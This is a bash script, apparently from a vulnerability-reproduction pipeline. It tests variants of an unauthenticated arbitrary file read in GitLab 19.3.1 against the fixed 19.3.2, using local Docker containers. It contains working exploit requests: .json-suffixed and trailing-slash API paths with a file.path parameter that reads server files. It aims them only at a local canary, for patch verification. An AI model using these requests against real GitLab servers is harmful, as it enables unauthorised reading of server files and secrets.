#!/bin/bash
# CVE-2026-85706 - VARIANT ANALYSIS (vuln_variant stage)
#
# Parent CVE: unauthenticated arbitrary file read via .json-suffixed
#   POST /api/v4/projects/:id/repository/commits (Workhorse route-classification
#   bypass -> Rails endpoint without authenticate! -> File.read(params['file.path'])).
#
# Variant candidates tested here (same root cause: Workhorse anchored-regex
# classification on the clean path vs Grape (.:format) routing; same sink:
# API::Helpers::CommitsBodyUploaderHelper#file_params_from_body_upload):
#   T1  commits .json suffix            (baseline sanity on both builds)
#   T2  commits trailing slash          (alternate regex-defeat encoding)
#   T3  files POST trailing slash       (ALTERNATE TRIGGER candidate: 19.3.1
#                                       lib/api/files.rb post ':id/repository/files/:file_path'
#                                       has require_gitlab_workhorse! but NO authenticate!)
#   T4  files PUT trailing slash        (same, update endpoint)
#   T5  files POST plain                (control: Workhorse regex files/[^/]+\z matches)
#   T6  files POST .json suffix         (control: single-segment tail still matches regex)
#   T7  commits /authorize.json         (coverage probe: authorize endpoint auth gap)
#   T8  files /authorize.json           (coverage probe)
#
# Exit 0  = a distinct variant reproduces a file read on the FIXED 19.3.2 build (true bypass).
# Exit 1  = no bypass (variant only on vulnerable build, or nothing reproduced);
#           the full matrix still runs and all evidence is written.
#
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs/vuln_variant"
ART="$ROOT/vuln_variant/artifacts/http"
mkdir -p "$LOGS" "$ART"
MAIN_LOG="$LOGS/reproduction_steps.log"

VULN_IMAGE="gitlab/gitlab-ce:19.3.1-ce.0"
FIXED_IMAGE="gitlab/gitlab-ce:19.3.2-ce.0"
VULN_PORT=8211
FIXED_PORT=8212
VULN_NAME=g85706v-var
FIXED_NAME=g85706f-var
BOOT_TIMEOUT=1800

log(){ echo "[$(date -u +%H:%M:%S)] $*" | tee -a "$MAIN_LOG" >&2; }
: > "$MAIN_LOG"

DOCKER="docker"
if ! $DOCKER ps >/dev/null 2>&1; then DOCKER="sudo docker"; fi
$DOCKER ps >/dev/null 2>&1 || { log "FAIL: docker daemon unavailable"; exit 1; }

log "=== CVE-2026-85706 variant analysis start ==="
log "pulling images (idempotent)..."
$DOCKER pull "$VULN_IMAGE" >/dev/null 2>&1 || { log "FAIL pull vuln"; exit 1; }
$DOCKER pull "$FIXED_IMAGE" >/dev/null 2>&1 || { log "FAIL pull fixed"; exit 1; }
VULN_DIGEST="$($DOCKER inspect --format '{{index .RepoDigests 0}}' "$VULN_IMAGE" | awk -F'@' '{print $2}')"
FIXED_DIGEST="$($DOCKER inspect --format '{{index .RepoDigests 0}}' "$FIXED_IMAGE" | awk -F'@' '{print $2}')"
log "vuln digest: $VULN_DIGEST"
log "fixed digest: $FIXED_DIGEST"
echo "$VULN_IMAGE $VULN_DIGEST" > "$LOGS/vulnerable_version.txt"
echo "$FIXED_IMAGE $FIXED_DIGEST" > "$LOGS/fixed_version.txt"

cleanup(){ $DOCKER rm -f -v "$VULN_NAME" "$FIXED_NAME" >/dev/null 2>&1 || true; $DOCKER volume prune -f >/dev/null 2>&1 || true; }
cleanup
trap 'cleanup' EXIT

wait_healthy(){
  local port="$1" name="$2" i=0
  while [ $i -lt $BOOT_TIMEOUT ]; do
    code=$(timeout 10 curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:${port}/users/sign_in" 2>/dev/null || echo 000)
    acode=$(timeout 10 curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:${port}/api/v4/version" 2>/dev/null || echo 000)
    if [ "$code" = "200" ] && [ "$acode" != "000" ] && [ "$acode" != "502" ]; then
      log "$name healthy (sign_in=$code api=$acode)"; return 0
    fi
    sleep 10; i=$((i+10))
  done
  log "FAIL: $name not healthy within ${BOOT_TIMEOUT}s"; return 1
}

boot(){
  local image="$1" name="$2" port="$3" host="$4" attempt
  for attempt in 1 2; do
    log "booting $name from $image (port $port), attempt $attempt..."
    $DOCKER run -d --name "$name" \
      --hostname "$host" --shm-size 256m \
      -e GITLAB_ROOT_PASSWORD='PruvaR00tPass85706!' \
      -e GITLAB_OMNIBUS_CONFIG="external_url 'http://${host}'; prometheus_monitoring['enable'] = false;" \
      -p "127.0.0.1:${port}:80" \
      "$image" >/dev/null || { log "FAIL docker run $name (attempt $attempt)"; $DOCKER rm -f -v "$name" >/dev/null 2>&1 || true; continue; }
    if wait_healthy "$port" "$name"; then return 0; fi
    log "boot attempt $attempt for $name failed; cleaning up and retrying..."
    $DOCKER rm -f -v "$name" >/dev/null 2>&1 || true
  done
  log "FAIL: $name not healthy after 2 attempts"; return 1
}

create_project(){
  local name="$1"
  cat > /tmp/setup85706v.rb <<'RUBY'
u = User.find_by(username: 'root')
abort('ROOT_MISSING') unless u
p = Project.find_by(name: 'demo85706v')
if p.nil?
  p = ::Projects::CreateService.new(u, { name: 'demo85706v', path: 'demo85706v', visibility: 'public' }).execute
end
abort("PROJECT_FAILED") if p.nil? || p.id.nil?
puts "PROJECT_ID=#{p.id}"
RUBY
  $DOCKER cp /tmp/setup85706v.rb "$name:/tmp/setup85706v.rb" >/dev/null
  timeout 300 $DOCKER exec "$name" gitlab-rails runner /tmp/setup85706v.rb 2>>"$MAIN_LOG" | tee -a "$MAIN_LOG" | grep -o 'PROJECT_ID=[0-9]*' | head -1 | cut -d= -f2 || true
}

plant_canary(){
  local name="$1" path="$2" token="$3"
  timeout 60 $DOCKER exec "$name" bash -lc "printf 'PRUVA85706_VCANARY_${token}_PCTBYTE_%%zz_END' > '$path' && chmod 644 '$path'" \
    || { log "FAIL plant canary"; return 1; }
}

target_binding(){
  local name="$1" out="$2"
  {
    echo "=== container $name: commits.rb commits endpoint block ==="
    timeout 60 $DOCKER exec "$name" bash -lc \
      "grep -n -A6 \"post ':id/repository/commits'\" /opt/gitlab/embedded/service/gitlab-rails/lib/api/commits.rb" 2>&1
    echo "=== container $name: files.rb create/update endpoint blocks ==="
    timeout 60 $DOCKER exec "$name" bash -lc \
      "grep -n -A5 'post \":id/repository/files/:file_path\"' /opt/gitlab/embedded/service/gitlab-rails/lib/api/files.rb; grep -n -A5 'put \":id/repository/files/:file_path\"' /opt/gitlab/embedded/service/gitlab-rails/lib/api/files.rb" 2>&1
    echo "=== container $name: authenticate refs (commits.rb / files.rb / helper) ==="
    timeout 60 $DOCKER exec "$name" bash -lc \
      "grep -n authenticate /opt/gitlab/embedded/service/gitlab-rails/lib/api/commits.rb /opt/gitlab/embedded/service/gitlab-rails/lib/api/files.rb /opt/gitlab/embedded/service/gitlab-rails/lib/api/helpers/commits_body_uploader_helper.rb" 2>&1
    echo "=== container $name: VERSION ==="
    timeout 60 $DOCKER exec "$name" bash -lc "cat /opt/gitlab/embedded/service/gitlab-rails/VERSION" 2>&1
    echo "=== container $name: workhorse route regexes (commits/files/uploads) ==="
    timeout 60 $DOCKER exec "$name" bash -lc \
      "strings -a /opt/gitlab/embedded/bin/gitlab-workhorse | grep -oE '\\^/api/v4/projects/[^ ]*\\z' | sort -u" 2>&1
  } > "$out"
}

# attack - generic request sender.
# $1 port  $2 url path (already includes suffix)  $3 query string  $4 outfile  $5 tag  $6 method
attack(){
  local port="$1" path="$2" qs="$3" out="$4" tag="$5" method="${6:-POST}"
  local url="http://127.0.0.1:${port}${path}?${qs}"
  {
    echo "# request: $method $url"
    echo "# method: $method (unauthenticated)"
    echo "# headers: Content-Type: application/x-www-form-urlencoded, empty body"
    echo "# tag: $tag"
    echo
  } > "$out"
  local code
  code=$(timeout 30 curl -sS -D /tmp/h85706v.txt -o /tmp/b85706v.txt -w '%{http_code}' \
        -X "$method" "$url" \
        -H 'Content-Type: application/x-www-form-urlencoded' --data '' 2>/dev/null || echo 000)
  { echo "HTTP_STATUS: $code"; cat /tmp/h85706v.txt; echo; echo "--- BODY ---"; cat /tmp/b85706v.txt; echo; } >> "$out"
  log "attack [$tag] $method ${path} -> HTTP $code ($(wc -c < /tmp/b85706v.txt) bytes body)"
  echo "$code"
}

# echo_check <outfile> <token> -> "true" if canary content was reflected in the response
echo_check(){
  grep -q "invalid %-encoding" "$1" 2>/dev/null && grep -q "$2" "$1" 2>/dev/null && echo true || echo false
}

run_matrix(){
  local port="$1" pid="$2" prefix="$3" tag_version="$4"
  local QS="file=&file.size=64&Content-Type=application%2Fx-www-form-urlencoded&file.path=/tmp/canary_85706v.txt"

  # T1 commits .json (baseline)
  attack "$port" "/api/v4/projects/${pid}/repository/commits.json" "$QS" \
    "$ART/${prefix}_t1_commits_json.txt" "${tag_version}_t1_commits_json" >/dev/null
  # T2 commits trailing slash
  attack "$port" "/api/v4/projects/${pid}/repository/commits/" "$QS" \
    "$ART/${prefix}_t2_commits_slash.txt" "${tag_version}_t2_commits_slash" >/dev/null
  # T3 files POST trailing slash (alternate-trigger candidate)
  attack "$port" "/api/v4/projects/${pid}/repository/files/vfile.txt/" "$QS" \
    "$ART/${prefix}_t3_files_post_slash.txt" "${tag_version}_t3_files_post_slash" "POST" >/dev/null
  # T4 files PUT trailing slash (alternate-trigger candidate)
  attack "$port" "/api/v4/projects/${pid}/repository/files/vfile.txt/" "$QS" \
    "$ART/${prefix}_t4_files_put_slash.txt" "${tag_version}_t4_files_put_slash" "PUT" >/dev/null
  # T5 files POST plain (control - workhorse regex matches)
  attack "$port" "/api/v4/projects/${pid}/repository/files/vfile.txt" "$QS" \
    "$ART/${prefix}_t5_files_post_plain.txt" "${tag_version}_t5_files_post_plain" "POST" >/dev/null
  # T6 files POST .json suffix (control - single-segment tail matches regex)
  attack "$port" "/api/v4/projects/${pid}/repository/files/vfile.txt.json" "$QS" \
    "$ART/${prefix}_t6_files_post_json.txt" "${tag_version}_t6_files_post_json" "POST" >/dev/null
  # T7 commits authorize .json (coverage probe)
  attack "$port" "/api/v4/projects/${pid}/repository/commits/authorize.json" "$QS" \
    "$ART/${prefix}_t7_commits_authorize.txt" "${tag_version}_t7_commits_authorize" >/dev/null
  # T8 files authorize .json (coverage probe)
  attack "$port" "/api/v4/projects/${pid}/repository/files/vfile.txt/authorize.json" "$QS" \
    "$ART/${prefix}_t8_files_authorize.txt" "${tag_version}_t8_files_authorize" >/dev/null
}

CANARY_TOKEN="VC1_d41d8cd98f00"
VARIANT_ON_VULN=false
BYPASS_ON_FIXED=false
RESULTS_JSON="$LOGS/matrix_results.json"
: > "$RESULTS_JSON"

record(){ echo "\"$1\": $2," >> "$RESULTS_JSON"; }
echo "{" >> "$RESULTS_JSON"

# ================================================================ VULNERABLE 19.3.1
boot "$VULN_IMAGE" "$VULN_NAME" "$VULN_PORT" "gitlab85706vv.example.com"
target_binding "$VULN_NAME" "$ART/target_binding_vuln.txt"
log "vuln target binding captured ($(grep -c "authenticate" "$ART/target_binding_vuln.txt") authenticate refs across commits.rb/files.rb/helper)"

PID_V="$(create_project "$VULN_NAME")"
[ -n "$PID_V" ] && [ "$PID_V" != "0" ] || { log "FAIL: no demo project on vuln"; exit 1; }
log "vuln demo project id: $PID_V"
plant_canary "$VULN_NAME" "/tmp/canary_85706v.txt" "$CANARY_TOKEN"
log "planted canary with token $CANARY_TOKEN on vuln build"

run_matrix "$VULN_PORT" "$PID_V" "vuln" "vuln"

V1_T1="$(echo_check "$ART/vuln_t1_commits_json.txt" "$CANARY_TOKEN")"
V1_T2="$(echo_check "$ART/vuln_t2_commits_slash.txt" "$CANARY_TOKEN")"
V1_T3="$(echo_check "$ART/vuln_t3_files_post_slash.txt" "$CANARY_TOKEN")"
V1_T4="$(echo_check "$ART/vuln_t4_files_put_slash.txt" "$CANARY_TOKEN")"
V1_T7_CODE="$(grep -m1 'HTTP_STATUS' "$ART/vuln_t7_commits_authorize.txt" | awk '{print $2}')"
V1_T8_CODE="$(grep -m1 'HTTP_STATUS' "$ART/vuln_t8_files_authorize.txt" | awk '{print $2}')"

log "VULN results: t1_commits_json_echo=$V1_T1 t2_commits_slash_echo=$V1_T2 t3_files_post_slash_echo=$V1_T3 t4_files_put_slash_echo=$V1_T4 authorize_probes=t7:$V1_T7_CODE/t8:$V1_T8_CODE"
record "vuln_t1_commits_json_echo" "$V1_T1"
record "vuln_t2_commits_slash_echo" "$V1_T2"
record "vuln_t3_files_post_slash_echo" "$V1_T3"
record "vuln_t4_files_put_slash_echo" "$V1_T4"
record "vuln_t7_commits_authorize_status" "$V1_T7_CODE"
record "vuln_t8_files_authorize_status" "$V1_T8_CODE"

if [ "$V1_T3" = true ] || [ "$V1_T4" = true ]; then VARIANT_ON_VULN=true; fi
log "distinct alternate trigger reproduced on vulnerable build: $VARIANT_ON_VULN"

timeout 180 $DOCKER rm -f -v "$VULN_NAME" >/dev/null 2>&1 || true; $DOCKER volume prune -f >/dev/null 2>&1 || true

# ================================================================ FIXED 19.3.2
boot "$FIXED_IMAGE" "$FIXED_NAME" "$FIXED_PORT" "gitlab85706vf.example.com"
target_binding "$FIXED_NAME" "$ART/target_binding_fixed.txt"
log "fixed target binding: authenticate refs = $(grep -c 'authenticate' "$ART/target_binding_fixed.txt")"

PID_F="$(create_project "$FIXED_NAME")"
[ -n "$PID_F" ] && [ "$PID_F" != "0" ] || { log "FAIL: no demo project on fixed"; exit 1; }
log "fixed demo project id: $PID_F"
plant_canary "$FIXED_NAME" "/tmp/canary_85706v.txt" "$CANARY_TOKEN"

run_matrix "$FIXED_PORT" "$PID_F" "fixed" "fixed"

F_T1="$(echo_check "$ART/fixed_t1_commits_json.txt" "$CANARY_TOKEN")"
F_T2="$(echo_check "$ART/fixed_t2_commits_slash.txt" "$CANARY_TOKEN")"
F_T3="$(echo_check "$ART/fixed_t3_files_post_slash.txt" "$CANARY_TOKEN")"
F_T4="$(echo_check "$ART/fixed_t4_files_put_slash.txt" "$CANARY_TOKEN")"
F_T5="$(echo_check "$ART/fixed_t5_files_post_plain.txt" "$CANARY_TOKEN")"
F_T6="$(echo_check "$ART/fixed_t6_files_post_json.txt" "$CANARY_TOKEN")"
F_T7_CODE="$(grep -m1 'HTTP_STATUS' "$ART/fixed_t7_commits_authorize.txt" | awk '{print $2}')"
F_T8_CODE="$(grep -m1 'HTTP_STATUS' "$ART/fixed_t8_files_authorize.txt" | awk '{print $2}')"

log "FIXED results: t1_echo=$F_T1 t2_echo=$F_T2 t3_echo=$F_T3 t4_echo=$F_T4 t5_echo=$F_T5 t6_echo=$F_T6 authorize_probes=t7:$F_T7_CODE/t8:$F_T8_CODE"
record "fixed_t1_commits_json_echo" "$F_T1"
record "fixed_t2_commits_slash_echo" "$F_T2"
record "fixed_t3_files_post_slash_echo" "$F_T3"
record "fixed_t4_files_put_slash_echo" "$F_T4"
record "fixed_t5_files_post_plain_echo" "$F_T5"
record "fixed_t6_files_post_json_echo" "$F_T6"
record "fixed_t7_commits_authorize_status" "$F_T7_CODE"
record "fixed_t8_files_authorize_status" "$F_T8_CODE"

if [ "$F_T3" = true ] || [ "$F_T4" = true ] || [ "$F_T1" = true ] || [ "$F_T2" = true ] || [ "$F_T5" = true ] || [ "$F_T6" = true ]; then
  BYPASS_ON_FIXED=true
fi

echo "\"bypass_on_fixed\": $BYPASS_ON_FIXED" >> "$RESULTS_JSON"
echo "}" >> "$RESULTS_JSON"
log "variant_on_vuln=$VARIANT_ON_VULN bypass_on_fixed=$BYPASS_ON_FIXED"

log "=== CVE-2026-85706 variant analysis complete ==="
log "vulnerable=${VULN_IMAGE}@${VULN_DIGEST} fixed=${FIXED_IMAGE}@${FIXED_DIGEST}"

if [ "$BYPASS_ON_FIXED" = true ]; then
  log "VERDICT: BYPASS - variant reproduces file read on FIXED 19.3.2"
  exit 0
else
  log "VERDICT: NO BYPASS - fix blocks all tested entry points on 19.3.2 (alternate_trigger_on_vuln=$VARIANT_ON_VULN)"
  exit 1
fi
